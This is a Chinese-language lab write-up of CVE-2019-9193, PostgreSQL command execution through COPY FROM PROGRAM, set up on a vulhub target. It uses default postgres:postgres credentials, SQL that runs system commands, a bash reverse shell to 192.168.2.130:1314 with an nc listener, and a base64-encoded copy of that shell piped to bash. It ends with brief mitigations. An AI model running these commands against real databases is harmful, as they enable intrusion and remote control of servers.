首頁 > 軟體

CVE-2019-9193之PostgreSQL 任意命令執行漏洞的問題

2022-08-01 18:07:24

起序:客戶內網測試的時候遇到的,搭建一個環境,寫個筆記記錄一下。

一、靶場環境

使用的是 github 上的 vulhub 環境。PostgreSQL 版本為 10.7

vulhub:https://github.com/vulhub/vulhub

1、任意命令執行

具有資料庫伺服器檔案讀取許可權的攻擊者可以利用此漏洞執行任意系統命令。

從 9.3 版本開始,Postgres 新增了一個 COPY TO/FROM PROGRAM 功能,允許資料庫的超級使用者以及 pg_read_server_files 組中的任何使用者執行作業系統命令。

漏洞利用前提:

需要登陸;需要高許可權;

所以要先弱口令爆破之後,然後檢視是否是高許可權。(對於PostgreSQL 來說,只有安裝資料庫時預設建立的超級使用者 postgres,類似於 Linux上的root使用者,擁有高許可權。)

新建資料庫使用者:CREATE USER
新建資料庫:CREATE DATABASE
刪除資料庫:DROP DATABASE
刪除使用者:DROP USER
復原許可權:REVOKE
賦權:GRANT

檢視許可權:https://www.modb.pro/db/53957

2、影響版本

受影響的版本(貌似更新版本無解)

PostgreSQL >= 9.3

二、漏洞利用

1、啟動靶機

docker-compose up -d

注:當測試完成之後會用到 關閉靶機 的命令。不是現在就要使用的命令。

docker-compose down -v

2、Navicat 連線 PostgreSQL

賬號密碼:postgres:postgres

3、執行命令

右鍵 public,點選 新建查詢

然後就是執行下面的這些命令。

-- 先刪除你想要使用但是已經存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 建立儲存系統命令輸出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 執行系統命令利用特定函數
COPY cmd_exec FROM PROGRAM 'id'; 

-- 檢視執行結果
SELECT * FROM cmd_exec;

4、實戰拓展:反彈 shell 1、nc 監聽

在 kali 中使用 nc 進行監聽。

nc -lvvp 1314

2、執行反彈 shell 的命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
SELECT * FROM cmd_exec;

但是可以看出執行失敗了,這種方法不行。

3、反彈失敗

kali 也沒有得到 shell。

4、編碼解決

將反彈 shell 的命令 base64 編碼一下。(下面的解碼不用管)

# base64 編碼前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 編碼後
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次執行反彈 shell 的命令

這裡的編碼不僅僅限於 base64,其他編碼形式也可以,主要是為了解決資料傳輸過程中的特殊字元被異常解析的問題。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

6、反彈成功

三、漏洞修復

  • pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及讀取和寫入具有大許可權的資料庫伺服器檔案。將此角色許可權分配給資料庫使用者時,應慎重考慮;
  • 增強密碼的複雜度;
  • 進行網路隔離,限制 IP 存取,只允許需要的 IP 連線;

到此這篇關於CVE-2019-9193:PostgreSQL 任意命令執行漏洞的文章就介紹到這了,更多相關PostgreSQL 任意命令執行漏洞內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com